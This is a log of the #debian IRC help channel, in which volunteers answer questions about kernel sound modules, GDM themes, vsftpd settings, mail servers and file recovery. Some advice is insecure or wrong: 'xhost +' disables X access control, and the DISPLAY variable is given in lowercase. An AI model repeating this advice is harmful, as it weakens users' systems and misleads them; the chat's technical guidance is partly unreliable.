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| 19:54.10 | shogunx | vin' i think quality is a value 1-10 and i think size is widthxheight syntax, from my strained memory anyway. |
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| 19:54.29 | kasemodz | sorry dpkg but im so anxious to get it installed and have spent many hours tinkering with this |
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| 19:55.02 | kasemodz | ok its owned by 500 group 500 -rwxr-xr-x |
| 19:55.09 | kasemodz | it is 755 |
| 19:55.31 | streuner | drasko: modprobe snd-ice1724 |
| 19:55.33 | rkama | it's 751 |
| 19:55.33 | kasemodz | and the folder /var/www/cgi-bin |
| 19:55.44 | vin` | cahoot: perfect. convert dscn0171.jpg -resize 1024x768 sm-dscn0171.jpg |
| 19:55.58 | vin` | shogunx: cheers, it worked. |
| 19:55.59 | kasemodz | is owned by root:root drwxr-xr-x |
| 19:56.06 | drasko | streuner, I tried that... FATAL: Module snd_ice1712 not found. |
| 19:56.06 | drasko | FATAL: Error running install command for snd_ice1712 |
| 19:56.12 | wols | kasemodz: dpkg is a bot |
| 19:56.22 | Eulex | kasemodz, there's no 500 group or user in debian. see what I mean? |
| 19:56.22 | shogunx | vin` excellent. i did that once when i saw my wife resizing images by hand with gimp./ |
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| 19:56.38 | streuner | drasko: /lib/modules/2.6.9-1-k7/kernel/sound/pci/ice1712/snd-ice1724.ko |
| 19:56.56 | kasemodz | well the default folder where apache2 installs the index.html is owned by 500 |
| 19:57.02 | streuner | drasko: it seems somebody forgot to compile it into 2.6.8 then ;-) |
| 19:57.06 | kasemodz | so i thought of keeping the same user and stuff |
| 19:57.17 | drasko | streuner, ls: /lib/modules/2.6.9-1-k7/kernel/sound/pci/ice1712/snd-ice1724.ko: No such file or directory |
| 19:57.30 | kasemodz | and index.html works fine |
| 19:57.32 | wols | kasemodz: I'd ask #apache |
| 19:57.35 | Eulex | kasemodz, once again, debian is not ubuntu. that directory is not owned by 500 500 on debian. |
| 19:57.37 | streuner | drasko: of course not, that's for 2.6.9 kernels... |
| 19:57.42 | kasemodz | ok |
| 19:57.44 | kasemodz | thankyou |
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| 19:57.54 | wols | #debian you don't run kernel 2.6.9 so of course ther isn't such a directory. please pay attention |
| 19:57.56 | drasko | streuner, so, what should I do? |
| 19:58.08 | streuner | drasko: so you just use another kernel (option 1) or you compile ALSA for yourself (option 2) |
| 19:58.27 | wols | drasko: starting to think about what streuner pasted you and look at the right place. if it's not there, get another kernel or compile your own |
| 19:59.21 | streuner | drasko: if you using sarge/stable you could just use an newer kernel from backports.org |
| 19:59.36 | drasko | streuner, to compile alsa -- what do I need to fetch: alsa-base source, right? And then just compile and install it? Right? |
| 20:00.05 | streuner | drasko: read README.debian, it should mention what you have to do |
| 20:00.12 | deadcat | if anyone interested in the clearlooks 2.7.3 gtk2 theme, here it is: http://debian.sshonly.sytes.net/i386/gtk2-engines-clearlooks_2.7.3-1_i386.deb |
| 20:00.27 | streuner | drasko: /usr/share/doc/<package>/README.debian |
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| 20:01.08 | GoAuLd | i'd like to install ubuntu inside a file under debian (perhaps with loopback and chroot? ) |
| 20:01.10 | GoAuLd | is it possible? |
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| 20:01.31 | deadcat | GoAuLd: ya |
| 20:01.48 | Performan | hey everyone, does anyone know how to configure vsftpd or the os so that whenever i upload a file it is automatically chmod 755'd? |
| 20:02.23 | deadcat | split gradient with clearlooks theme: sshonly.sytes.net/tmp/thunar.png |
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| 20:04.22 | Eulex | deadcat, thunar :) |
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| 20:05.21 | deadcat | Eulex: ya. damn alpha software hella buggy (= |
| 20:05.32 | drasko | streuner, are you shure it is not compiled in kernel? I use the kernel that came with Sarge... There is not sound directory in /lib/modules2.6.8-2-386/kernel/ |
| 20:05.42 | deadcat | Eulex: but since i only use it to double click on media files, its ok. |
| 20:06.43 | Eulex | deadcat, latest svn version should be more stable. btw, if you find a bug, please report to benny :) |
| 20:06.50 | Performan | hey everyone, does anyone know how to configure vsftpd or the os so that whenever i upload a file it is automatically chmod 755'd? |
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| 20:07.06 | pedrinhu19 | .vircio.org |
| 20:07.11 | streuner | drasko: usually in every 2.6.x kernel are ALSA modules |
| 20:07.26 | wols | pedrinhu19: #local_umask=022 |
| 20:07.36 | wols | that's the setting I'd say. /etc/vsftpd.conf |
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| 20:07.58 | wols | Performan: #local_umask=022 |
| 20:08.11 | deadcat | Eulex: i dont even report debian bugs. (= theres more like things that BUGS me (= and whos maintaining the deb pkg? i dont feel like compiling myself. |
| 20:08.24 | wols | deadcat: bugs.debian.org |
| 20:08.48 | deadcat | wols: too lazy |
| 20:08.48 | Performan | thx |
| 20:08.49 | unkn0wn2u | Does anyone know why video would be slower on ubuntu than fedora if the ubuntu computer has a faster processor, and more ram |
| 20:09.18 | streuner | unkn0wn2u: #ubuntu |
| 20:09.25 | wols | unkn0wn2u: look at the channel name. then choose the proper channel |
| 20:09.46 | unkn0wn2u | sorry I meant debian |
| 20:09.48 | Eulex | deadcat, Corsac (Yvex-Alexis Perez) is at least one of the maintainers of it. |
| 20:10.03 | wols | unkn0wn2u: we don't believe you anymore. go to ubuntu |
| 20:10.39 | deadcat | Eulex: he needs to pick up the demanding pace (= |
| 20:10.39 | Performan | my hostname always reverts to new, even though I set it with hostname <host>, anyway to make it perm? |
| 20:10.47 | deadcat | wols: nice one heheh |
| 20:10.57 | drasko | streuner, Is there a way to check if this module is compiled in my kernel? |
| 20:11.07 | Eulex | deadcat, hehe. btw, it's up at revision ~20000 currently |
| 20:11.32 | streuner | drasko: grep <modulename> /boot/config-2.6.8? |
| 20:12.33 | Eulex | deadcat, but all of those aren't thunar revisions, btw |
| 20:12.36 | streuner | knusper:/boot# grep 1712 config-2.6.15-1-k7 |
| 20:12.36 | streuner | CONFIG_SND_ICE1712=m |
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| 20:13.28 | Eulex | deadcat, you could also file feature requests directly at bugzilla.xfce.org |
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| 20:13.55 | wols | streuner: grep 1712 /boot/config-* |
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| 20:14.18 | wols | or he will exactly type in what you wrote and say "it's not there" |
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| 20:14.26 | deadcat | Eulex: ah. cool. |
| 20:14.29 | streuner | wols: would bring to many results ;-) |
| 20:14.30 | cheloo | blondie it still display the Notice " Notice: Only variable references should be returned by reference in /usr/share/horde3/lib/Horde/Notification.php on line 98 " |
| 20:14.41 | jmcm | Hello. I'm trying to install VMware on debian, and when I try to run the config file, I get "What is the location of the directory of C header files that match your running |
| 20:14.41 | jmcm | kernel? |
| 20:15.10 | wols | jmcm: install kernel headers for your kernel |
| 20:15.10 | cheloo | blondie i did edit php.ini to"error_reporting = E_ALL " |
| 20:16.06 | wols | streuner: i have 2 kernels in there (default and my own), both show it only once :) |
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| 20:16.52 | drasko | streuner, I can see in my /boot/config-2.6.8 lines: CONFIG_SND_ICE1712=m |
| 20:16.52 | drasko | CONFIG_SND_ICE1724=m |
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| 20:17.08 | drasko | Looks like these are compiled in kernel after all |
| 20:17.13 | cheloo | blondie this is the line 98 " return false; " |
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| 20:17.54 | wols | deadcat: no. it's compiled as a module. not in the kernel |
| 20:18.50 | streuner | drasko: ls -l /lib/modules/'uname -r'/kernel/sound/pci/ice1712/snd-ice1724.ko |
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| 20:19.52 | streuner | the wired thing is, he already try to modprobe the module, but it didn't find something either... |
| 20:19.56 | ftsac | how do I change default login manager of gnome? |
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| 20:20.27 | ftsac | I copied it to /usr/share/gdm/themes/ |
| 20:20.27 | wols | ftsac: install a different one. gdm, xdm, kdm |
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| 20:20.32 | shogunx | streuner did he run update-modules? |
| 20:20.41 | ftsac | wols, ??? |
| 20:20.50 | ftsac | I use gnome |
| 20:20.59 | wols | if you want to change the login manager you obviously want a different one, so install a different one |
| 20:21.04 | ftsac | and get themes from art.gnome.org |
| 20:21.13 | wols | otherwise: change your question to clearly say waht you mean |
| 20:21.20 | streuner | shogunx: the system should know where to find it modules without that |
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| 20:21.29 | beered | I finally got wireless working. How do I connect to WPA2 wifi? I have the necessary supplicants. |
| 20:21.31 | ftsac | wols, let me explain :) |
| 20:21.35 | wols | streuner: should. but obviously doesn't :( |
| 20:21.37 | shogunx | streuner aer they newly built modules? |
| 20:21.46 | wols | shogunx: no. default ones |
| 20:21.54 | wols | there since the kernel was installed |
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| 20:21.54 | streuner | shogunx: nah, a stock sarge kernel... |
| 20:21.55 | shogunx | wols that is strange |
| 20:22.02 | wols | shogunx: ezaktly |
| 20:22.03 | sandman | Is SmartList a mailing list server? |
| 20:22.03 | dvm1981 | ftsac: You want to change the style of it? Then eventually yes |
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| 20:22.17 | ftsac | dvm1981 |
| 20:22.19 | ftsac | yes |
| 20:22.29 | shogunx | can he insmod it? can he insmod it with cwd=/lib/modules/whatever/sound/modulesname? |
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| 20:22.44 | ftsac | the default one look is boring |
| 20:22.50 | shogunx | !dpkg smartlist |
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| 20:23.01 | dvm1981 | ftsac: There is also 'gdm-themes' |
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| 20:23.17 | dvm1981 | ftsac: Themes for the GNOME Display Manager |
| 20:23.21 | wols | "SmartList is a mailing list manager" |
| 20:23.24 | liran | Eulex, i got the 32bit on 64bit thing figured out |
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| 20:23.29 | wols | does that answer your question? |
| 20:23.48 | Eulex | liran, ok :) |
| 20:23.50 | drasko | streuner, wols, ls: /lib/modules/2.6.8-2-386/kernel/sound/pci/ice1712/snd-ice1724.ko: No such file or directory |
| 20:23.52 | shogunx | sandman mailman is an excellent mailing list manager also. |
| 20:24.09 | drasko | streuner, wos, how to add this module? |
| 20:24.13 | sandman | But Debian uses SmartList |
| 20:24.16 | liran | Eulex, im here for you if you'd ever wonder how to get it working :p |
| 20:24.23 | sandman | For its mailing list. That must mean something, yes? |
| 20:24.42 | ftsac | dvm1981, I found some themes in /usr/share/gdm/themes |
| 20:24.46 | wols | drasko: reinstall your kernel |
| 20:25.07 | stefan | ftsac, download and put them in "/usr/share/gdm/themes/" then you choose them from the gnome-tool for choosing login manager. these are the grafic login... |
| 20:25.12 | Eulex | liran, nah, I don't even own any 64-bit box :) |
| 20:25.21 | shogunx | sandman i didn't say anything against smartlist. the ietf uses mailman. we can safely say that both are widely deployed and enjoyed, eh? |
| 20:25.31 | dvm1981 | ftsac: 'dpkg --status gdm-themes' to see if installed. 'dpkg -L gdm-themes' to see where the files are stored. |
| 20:25.45 | wols | shogunx: now we need to know what the LKML uses to decide that tie |
| 20:26.02 | sandman | Indeed. |
| 20:26.05 | dvm1981 | ftsac: Then read the informations that are in the doc. |
| 20:26.07 | shogunx | oh, hold on ,let me check my email wols. |
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| 20:26.14 | ftsac | dvm1981, I just install gdm-themes :) |
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| 20:26.22 | XTF | Hi. What is the right way to use gcc 4.1 instead of 4.0 as default compiler? |
| 20:26.24 | drasko | wols, but I can see in my /boot/config-2.6.8 lines: CONFIG_SND_ICE1712=m |
| 20:26.24 | drasko | drasko CONFIG_SND_ICE1724=m. Does that not mean that this is installed already as a module, and I shold modprobe it somehow? |
| 20:26.44 | ftsac | stefan, I can't find gnome-tool |
| 20:26.47 | wols | you can't modprobe what's not on disk, duh! |
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| 20:27.03 | wols | pdo.debian.net clearly says it's part of the package tho |
| 20:27.06 | wols | http://pdo.debian.net/cgi-bin/search_contents.pl?word=snd-ice1724.ko&searchmode=searchfiles&case=insensitive&version=stable&arch=i386 |
| 20:27.23 | dvm1981 | ftsac: Personnally i think that the themes are not what you want, but that shall learn you, how to setup anoter, then look on the web so that you find the one for you. |
| 20:27.44 | eyedol59 | can anybody tell me how can i configure my netcard? |
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| 20:27.52 | ftsac | dvm1981, I tried with google |
| 20:28.01 | shogunx | wols, sandman that would be majordomo. 3-way tie. |
| 20:28.03 | wols | eyedol59: what NIC do you have? |
| 20:28.04 | dvm1981 | ftsac: But you adapt one to you're needs. |
| 20:28.18 | wols | shogunx: drats! |
| 20:28.19 | stefan | ftsac, No, someplace in the debian-menu in gnome there is a settings tool for this. but I'm on swedish gnome so i cant find it but it should be something like System/configuration of login-manager |
| 20:28.23 | eyedol59 | what is a NIC? |
| 20:28.25 | dvm1981 | ftsac: See 'The Gimp' :-0 |
| 20:28.34 | wols | Network Interface Card |
| 20:28.37 | wols | your network card |
| 20:29.01 | eyedol59 | ahhh, i have it integrated on to my motherboard (asus k8n) |
| 20:29.08 | sussi | i found that a pacel replaced my /etc/hosts with a symlink to /var/forgot_it |
| 20:29.12 | wols | what kernel do you use? |
| 20:29.34 | eyedol59 | the one that cames with the debian sarge cd installation 2.6.. |
| 20:29.50 | wols | eyedol59: too old IIRC: get a 2.6.15 based installer |
| 20:30.14 | wols | you can try "modprobe forcedeth" but it doesN't work with 2.6.8 for your mobo IIRC |
| 20:30.23 | dvm1981 | eyedol59: : uname -r |
| 20:30.24 | eyedol59 | do you mean that i have to update my kernel? |
| 20:30.36 | wols | !tell eeyore- about d-i |
| 20:30.36 | stefan | ftsac, I don't know if this works but you could try to run "gksu gdmsetup" from terminal and see if you get the setup-window |
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| 20:30.51 | wols | no you have to update your installer. if you already installed it, your kernel, yes |
| 20:31.12 | cheloo | is qmail server available via apt ? |
| 20:31.15 | wols | note: you need the installer for etch |
| 20:31.29 | eyedol59 | the kernel is 2.8.8-2-386 |
| 20:31.29 | wols | cheloo: why ask us if it's only apt-cache away? |
| 20:31.37 | cheal | !tell cheloo about qmail |
| 20:31.39 | wols | eyedol59: I know. and that is too old |
| 20:31.49 | ftsac | stefan, "Could not access GDM configuration file." |
| 20:31.55 | eyedol59 | so you recommend me to update it, right? |
| 20:32.15 | stefan | ftsac, as root? just find it truu the menu! |
| 20:32.16 | wols | no, I recommend to jump from a cliff. how often do I have to repeat myself? |
| 20:32.25 | ftsac | yes |
| 20:32.26 | wols | scratch taht, I jump from a cliff. better that way |
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| 20:32.45 | ftsac | stefan, I su to root but I got that error |
| 20:32.59 | eyedol59 | sorry, but i was not looking to the chat screen because i was looking for the right number of the kernel |
| 20:33.10 | stefan | ftsac, can't you find it in the menu or are u not on gnome? |
| 20:33.20 | ftsac | yes |
| 20:33.25 | ftsac | I am in gnome |
| 20:33.28 | dvm1981 | ftsac: Coult not access GDM...? |
| 20:33.32 | ftsac | but I can't find |
| 20:34.12 | blondie | hm |
| 20:34.17 | stefan | ftsac, In the meny, I think its called programs, then System and then something about login. |
| 20:34.32 | dvm1981 | ftsac: So with root user it give that error? |
| 20:35.14 | ftsac | dvm1981, if I su-ed to root then I have another error |
| 20:35.18 | ftsac | Gtk-WARNING **: cannot open display |
| 20:35.23 | wols | eyedol59: best would be to use a new installer with 2.6.15 kernel, like the one dpkg told you about (for etch) |
| 20:35.32 | stefan | ftsac, try only "gdmsetup" as root |
| 20:35.43 | wols | ftsac: export display:localhost:0.0 |
| 20:35.55 | wols | and before your su; xhost + if you're behind a firewall |
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| 20:36.19 | wols | export display=localhost:0.0 silly me |
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| 20:36.48 | cheloo | cheal so actually i shouldnt install qmail right |
| 20:36.53 | eyedol59 | intead of downloading again the entire CD, can i just download the kernel and install it? |
| 20:37.03 | ftsac | wols, I still stuck |
| 20:37.04 | wols | cheloo: depends. why does it have to be qmail? any special reason? |
| 20:37.06 | amee2k | following problem: i just migrated a FC4 box to debian/3.1 stable and copied the home directory back. some of the users have 'mounted' some ftp servers in nautilus. now every time a file browser window pops up it tries to connect to *all* configured ftp servers. how can I tell the file browser only to connect when the server is actually accessed? |
| 20:37.34 | cheal | cheloo: you might if you really think it's worth the trouble. I thought there would be something about installation under Debian in the factoid |
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| 20:37.46 | cheloo | wols well i had it before and i know how to use it |
| 20:38.02 | ftsac | stefan, I tried "gdmsetup" from root shell |
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| 20:38.14 | wols | then you know about its braindead license and why debian can't have a binary for it. you can easily get its source via apt tho |
| 20:38.21 | cheloo | what would you guys recommend ? |
| 20:38.28 | stefan | ftsac, find it in the menu!! |
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| 20:38.29 | wols | exim or postfix. I use postfix |
| 20:38.29 | ftsac | but I still have "cannot open display" |
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| 20:38.32 | wols | easy and clean imho |
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| 20:38.38 | wols | ftsac: I told you what to do |
| 20:38.43 | roaet | apt-get source compiles from source right and installs as if apt-get install ? |
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| 20:38.48 | ftsac | stefan, :) I tried to find it too |
| 20:38.54 | wols | ftsac: set your display environment var and allow connections via xhost |
| 20:39.06 | cheal | roaet: apt-get source only installs the source |
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| 20:39.11 | roaet | ah poo |
| 20:39.36 | ftsac | wols, I had "export display=localhost:0.0" |
| 20:39.47 | wols | ftsac: and xhost? |
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| 20:40.07 | GuzzleFry | hey everyone |
| 20:40.11 | ftsac | but I don't use iptables |
| 20:40.17 | GuzzleFry | I'm having trouble installing Debian 3.1 AMD64 |
| 20:40.27 | GuzzleFry | It's not detecting my SATA drive |
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| 20:40.42 | dvm1981 | ftsac: Is not for that |
| 20:41.01 | dvm1981 | ftsac: man xhost |
| 20:41.03 | wols | ftsac: xhost +localhost |
| 20:41.08 | hola | where can i download the floppy disk for install debian for amd64 from internet? |
| 20:41.13 | ice_1963 | i have a question...i have ben useing lynx browser text bass is there irc chat text bass? |
| 20:41.29 | wols | ice_1963: irssi-text. program name: irssi |
| 20:41.36 | ice_1963 | ok |
| 20:41.39 | cheloo | my /usr/share/horde3/kronolith/scripts its empty . from where do i get the sql scripts for Calendar (kronolith) ? |
| 20:41.48 | wols | GuzzleFry: try a different kernel. a newer one. |
| 20:41.49 | hola | somebody can help me pls? |
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| 20:41.52 | hola | where can i download the floppy disk for install debian for amd64 from internet??? |
| 20:41.54 | ftsac | wols, now I "export display=localhost:0.0" from my $ |
| 20:41.55 | wols | !tell GuzzleFry about d-i |
| 20:41.59 | wols | GuzzleFry: use the etch one |
| 20:42.02 | ftsac | then xhost +localhost |
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| 20:42.06 | ftsac | then su to root |
| 20:42.08 | wols | ftsac: wrong |
| 20:42.08 | dvm1981 | ice_1963: xchat-text |
| 20:42.12 | ftsac | and gdmsetup |
| 20:42.15 | wols | first chost, then su to root, then export display |
| 20:42.20 | GuzzleFry | so...I just burned two dvds for nothing? |
| 20:42.31 | fignewton | is there a way to make the automatically-expandable fields in aptitude (e.g. %p, %d) not be expandable? It really sucks when -F "%p %v" prints the version 180 columns away from the package name when really I just want them side by side. |
| 20:42.44 | parsonsd | guzzlefry : do you have any IDE disks that it DOES recognise? |
| 20:42.50 | cheloo | wols any easy guide for postfix for debian distro ? |
| 20:42.57 | ftsac | :(( |
| 20:42.58 | GuzzleFry | I have a spare IDE disk I could install |
| 20:43.09 | hola | where can i download the floppy disk for install debian for amd64 from internet? |
| 20:43.09 | hola | where can i download the floppy disk for install debian for amd64 from internet? |
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| 20:43.19 | dvm1981 | bye |
| 20:43.25 | wols | GuzzleFry: you can still use those dVds to install some stuff, but I'd always get my debian stuff directly from the internet. no matter what: if you have a inet connection you always burn them for nothing if you burn full CDs or DVDs. it's just not needed |
| 20:43.29 | ice_1963 | xchat is not text bass :0) |
| 20:43.36 | dvm1981 | ice_1963: Sure?? |
| 20:43.40 | sproingie | is fglrx support in etch for amd64? i've noticed it's not in sid, or at least not in step with kernel & xorg releases |
| 20:43.46 | wols | xiO__: xchat-text is. it's horrible, but text based |
| 20:43.55 | ftsac | wols, still "connection to ":0.0" refused by server" |
| 20:43.59 | fignewton | I ended up modifying the source to just remove the "expandable" attribute from everything (if I want it back, '%p#' works just fine), but it seems there should be another way to do that. |
| 20:44.00 | parsonsd | guzzlefry: had the same problem when i tried to make it install onto a SCSI disk and have it mounted as / |
| 20:44.03 | dvm1981 | ice_1963: Also text based, hhmm in 'Testing' only?? |
| 20:44.15 | jelly | there's a ton of decent console irc clients, why would one recommend xchat-text? |
| 20:44.17 | wols | cheloo: depends. workaround.org/articles/ispmail-sarge/ is a very good guide. there is also #postfix on this irc network |
| 20:44.24 | ftsac | wols, "No protocol specified" |
| 20:44.36 | dvm1981 | ice_1963: irssi-text |
| 20:44.38 | cahoot | ftsac: use sudo |
| 20:44.39 | jelly | ice_1963: check out bitchx . |
| 20:44.41 | wols | ftsac: then man xhost |
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| 20:44.51 | cahoot | ftsac: or sux |
| 20:44.52 | parsonsd | guzzlefry: i had to remove the IDE drives while i made it install before it would boot with both -- otherwise it wouldn't rcognize that the SCSI was even attatched |
| 20:45.29 | GuzzleFry | would that include IDE dvd/cd-rom drives? |
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| 20:45.36 | dvm1981 | cahoot: That confuse him i thing :-/ |
| 20:45.44 | ice_1963 | lol |
| 20:45.52 | parsonsd | guzzlefry: hrm. no, i left that attached |
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| 20:46.00 | ftsac | wols, I maned xhost to allow localhost connect to X server |
| 20:46.03 | GuzzleFry | well I don't have any IDE hard drives installed on here |
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| 20:46.16 | ftsac | +localhost |
| 20:46.18 | parsonsd | guzzlefry, i have no idea why it defualted to boot with scsi |
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| 20:46.25 | unstable | ftsac: apt-get install sux; this type as root, then as non-root type "sux root gdmsetup" |
| 20:46.45 | Wowbagger_ | Is there any way to make gnome open nautilus with a tree view by default instead of individual windows for each directory? |
| 20:46.49 | GuzzleFry | SuSE 9.3 installed fine on here, but I'm trying to replace it with Debian |
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| 20:46.59 | jelly | ice_1963: also epic4, or even ircii. |
| 20:47.08 | wols | jelly: now you're getting cruel |
| 20:47.14 | miguel_ | holaa |
| 20:47.20 | parsonsd | guzzlefry, yikes, about to tell you the wrong thing (it HAS been a while). The installation was fine with all drives attached -- it was when t tried to BOOT ... i , damn, all my memory is hosed bleh, |
| 20:47.28 | ftsac | unstable, it has the same error |
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| 20:48.02 | ftsac | wols, please see my pasted on #flood |
| 20:48.02 | unstable | ftsac: /lastlog hola |
| 20:48.05 | unstable | woops |
| 20:48.08 | unstable | ignore that |
| 20:48.18 | wols | ftsac: I am not in #flood |
| 20:48.26 | wols | ftsac: do what cahoot told you |
| 20:48.50 | ftsac | wols, I tried with sux too |
| 20:48.54 | GuzzleFry | could using a different kernel that's already on the DVD help? |
| 20:48.56 | parsonsd | guzzlefry -- i had to play with the drives before it would recognis the drives, during installations, but failed to understand why it wouldn't recognize the SCSI when i thought it should |
| 20:48.57 | ftsac | but still have problem |
| 20:49.05 | ftsac | and I can't flood this channel |
| 20:49.06 | ftsac | :) |
| 20:49.08 | cahoot | ftsac: xbase-clients installed? |
| 20:49.08 | shogunx | wols linux/390 list uses listserv 4-way tie |
| 20:49.14 | unstable | ftsac: www.rafb.net/paste |
| 20:49.21 | deadcat | http://www.gnome-look.org/content/pre1/34253-1.jpg <-- is this apckage called widget factory? |
| 20:49.22 | unstable | !tell ftsac about paste |
| 20:49.23 | dvm1981 | ftsac: I remember that i have change the config file by the hand and not have use 'gdmsetup' |
| 20:49.31 | wols | shogunx: keep working. sooner or later you find all mailing list servs :) |
| 20:49.44 | GuzzleFry | parsonsd, what exactly did you play with? |
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| 20:49.46 | yassine | how can recompile the kernel under debian please ? |
| 20:50.06 | yassine | i have found a kernel config file for the same laptop i have running debian too |
| 20:50.09 | ftsac | dmv1981, I tried to tweak /etc/X11/gdm/gdm.conf but I don |
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| 20:50.18 | ftsac | dont know which to change |
| 20:50.19 | ftsac | :) |
| 20:50.29 | wols | yassine: http://newbiedoc.sourceforge.net/system/kernel-pkg.html |
| 20:50.33 | sproingie | any amd64 users with ati cards here? wondering if etch has fglrx drivers |
| 20:50.49 | wols | sproingie: pdo.debian.net |
| 20:50.51 | ftsac | unstable, I known shouldn't paste to #debian :) |
| 20:50.54 | sproingie | right now sid doesn't, not sure when it will |
| 20:50.56 | unstable | sproingie: /join #ati |
| 20:50.57 | yassine | wols, thanks |
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| 20:51.13 | dvm1981 | ftsac: The line 'Greeter=/usr/bin/gdmgreeter' |
| 20:51.21 | curt | !fglrx |
| 20:51.21 | dpkg | rumour has it, fglrx is see firegl, or see ati drivers, or usually not worth the effort |
| 20:51.45 | dvm1981 | ftsac: no, the bad line that |
| 20:51.52 | ftsac | dvm1981, ?? |
| 20:51.58 | ftsac | then we change to what? |
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| 20:52.26 | shogunx | wols what, this: http://www.lsoft.com/catalist.html |
| 20:52.35 | dvm1981 | ftsac: I read that config file now, i not remeber exact, i need to look a bit |
| 20:52.47 | wols | shogunx: please. I give up. |
| 20:52.50 | parsonsd | guzzlefry -- i set things up to have root & tmp on /dev/sda and acouple of other mount points on the IDE drive. when i installed, everything was hunky dory, but then tryng to boot the system, it always wanted to find root on the /dev/hd partitions... |
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| 20:52.57 | ftsac | dvm1981, yes thanks |
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| 20:53.24 | GuzzleFry | oh, well everything will be on my only hard drive, which is the SATA drive, but it's not finding it during install |
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| 20:53.29 | shining | hi, I've a problem with skype and sound.. it doesn't work |
| 20:53.33 | parsonsd | guzzlefry -- to be honest, i can't tell you what it was i tried to mess with. i can't remember! |
| 20:53.34 | Stevie | hey, which dpkg-reconfigure do I to configure software RAID? |
| 20:53.39 | GuzzleFry | I"m gonna try it again, and look around for any settings |
| 20:53.48 | shining | I don't have any /dev/dsp or dsp-1 device, skype seems to require them |
| 20:54.03 | GuzzleFry | thanks for the help parsond |
| 20:54.03 | cahoot | shining: support for skype is scarce here - look at sky forum |
| 20:54.17 | parsonsd | guzzlefry: sorry... i've forgotten waayyyy too much |
| 20:54.19 | cahoot | shining: skype forum |
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| 20:54.43 | cahoot | shining: using alsa? |
| 20:54.43 | shining | yep, I hate skype, I hate any soft which isn't free |
| 20:54.44 | fhffhqvb | so... norton monitors your irc connection for phrases like startkeylogger. doesn't that take up quite a bit of cpu with large channels? |
| 20:54.54 | shining | cahoot: yep |
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| 20:55.02 | fhffhqvb | especially with netsplits |
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| 20:55.05 | wols | fhffhqvb: no. it's cheap to monitor IRC |
| 20:55.07 | dvm1981 | ftsac: Look in #flood |
| 20:55.08 | cahoot | shining: need snd-pcm-oss to get dsp |
| 20:55.11 | fhffhqvb | hm. |
| 20:55.18 | wols | shining: but norting is a pig when it runs anyways |
| 20:55.25 | wols | *norton |
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| 20:55.29 | dbe | shingouz, then use free software only, use that as a policy |
| 20:55.44 | Piggy | o_o |
| 20:55.44 | dbe | shining, then use free software only, use that as a policy |
| 20:55.57 | dvm1981 | ftsac: Make an copy of that file, before editing it, in case of ... |
| 20:56.06 | parsonsd | anybody familiar with zsh and can point out the options to make cursors appear at the end of the line rathe than the beginning? |
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| 20:56.23 | ftsac | dvm1981, see my #flood |
| 20:56.32 | dvm1981 | ftsac: Line 347 :-/ |
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| 20:57.03 | dbe | shining, then your'e one problem shorter (skype) which will problaby cost you more inte the future |
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| 20:57.31 | ftsac | dvm1981, now I test my change |
| 20:57.32 | ftsac | :) |
| 20:57.38 | dvm1981 | of |
| 20:57.40 | dvm1981 | of |
| 20:57.43 | dvm1981 | oeps |
| 20:57.48 | cahoot | dbe: you have a realistic alternative? |
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| 20:58.01 | shining | cahoot: ho indeed, I always had that automatically loaded, I didn't even think about it |
| 20:58.04 | shining | cahoot: thanks |
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| 20:58.14 | dbe | cahoot, no, but IRC is fine =) |
| 20:58.22 | wols | cahoot: depends what one wants |
| 20:59.02 | cahoot | dbe: irc an alt to ip phone? |
| 20:59.24 | ke6isf | cahoot: It's *an* alternative. |
| 20:59.43 | dbe | cahoot, no, alternative to .gif is jpeg and alternative to .ico is .png due to patentproblems =) |
| 20:59.46 | cahoot | ke6isf: the issue was realistic alt |
| 20:59.56 | shining | dbe: no |
| 21:00.18 | shining | dbe: that's like saying ogm is an alternative to jpeg |
| 21:00.28 | ke6isf | !ogm |
| 21:00.28 | Terat0gen | .bmp! |
| 21:00.28 | dpkg | Ogg Media Stream. audio-video-container, streamable, hack of ogg container from xiph.org |
| 21:00.59 | ke6isf | .pic! |
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| 21:01.05 | brosioz | file recovery on ext3 |
| 21:01.06 | Terat0gen | .tiff! |
| 21:01.09 | brosioz | which is the best file recovery for ext3 on linux ? |
| 21:01.14 | dbe | shining, stop being so formal =) |
| 21:01.20 | Terat0gen | brosioz: your backup tapes |
| 21:01.27 | cahoot | brosioz: backups |
| 21:02.07 | ke6isf | brosioz: Did you rm a file and want it back? |
| 21:02.54 | blondie | there's no file recovery for ext3 |
| 21:02.55 | fignewton | brosioz: not much you can do. ext3 clears the inode when you unlink a file. I ended up using dd and grep to get some of my data back, but that's about all you'll get. |
| 21:03.04 | wols | blondie: there is. just doesn't work very well |
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| 21:03.14 | wols | midnight commander has/had one for excample |
| 21:03.30 | blondie | it's not likely to work though |
| 21:03.33 | dvm1981 | ftsac: And? |
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| 21:03.40 | ftsac | dvm1981, :( |
| 21:03.43 | ke6isf | wols: I think that only works for ext2. |
| 21:03.44 | ftsac | nothing change |
| 21:04.01 | ftsac | but I see when my box rebooted |
| 21:04.01 | dvm1981 | ftsac: How so? What happend? |
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| 21:04.08 | beered | anybody knows how easy/hard is to triangulate an AP? |
| 21:04.09 | pabl0 | hi |
| 21:04.10 | ftsac | xdm is called |
| 21:04.18 | ke6isf | beered: What's an AP? |
| 21:04.19 | dbe | brosioz, you can't recover files to make 100% sure that they are valid |
| 21:04.28 | beered | ke6isf: access point. |
| 21:04.33 | brosioz | lol |
| 21:04.35 | dbe | brosioz, not in ext3 |
| 21:04.38 | beered | ~dict access point |
| 21:04.39 | dvm1981 | ftsac: No needs to reboot, needs to restart gdm '/etc/init.d/gdm restart' |
| 21:04.40 | shining | what do you use for backup? just cp? |
| 21:04.46 | beered | pfft. |
| 21:04.46 | brosioz | so shred and wipe |
| 21:04.49 | ke6isf | brosioz: In short, wave a dead chicken over it and seee what happens. |
| 21:04.50 | brosioz | are secure 100% |
| 21:04.51 | ftsac | dvm1981, I think it should be another one |
| 21:04.51 | brosioz | :°D |
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| 21:05.02 | ke6isf | beered: What kind of access point? |
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| 21:05.18 | dvm1981 | ftsac: Post the whole file on pastebin |
| 21:05.19 | ftsac | dvm1981, gdm means gnome manage |
| 21:05.21 | dbe | brosioz, testdisk recover partitions anyway |
| 21:05.25 | shining | it would be nice to have a cron job doing incremental backups or something similar |
| 21:05.25 | blondie | ke6isf: obviously an 802.11x one |
| 21:05.27 | dvm1981 | ftsac: Yep, |
| 21:05.28 | ftsac | gdm.conf? |
| 21:05.34 | pabl0 | I have many email addresses which usernames are mxxxxxx (like m123456). Exists a way to *map* usernames with an email? so user@foobar.com will be the same as m123456. |
| 21:05.41 | ke6isf | blondie: If that's the case, a T hunt comes to mind. |
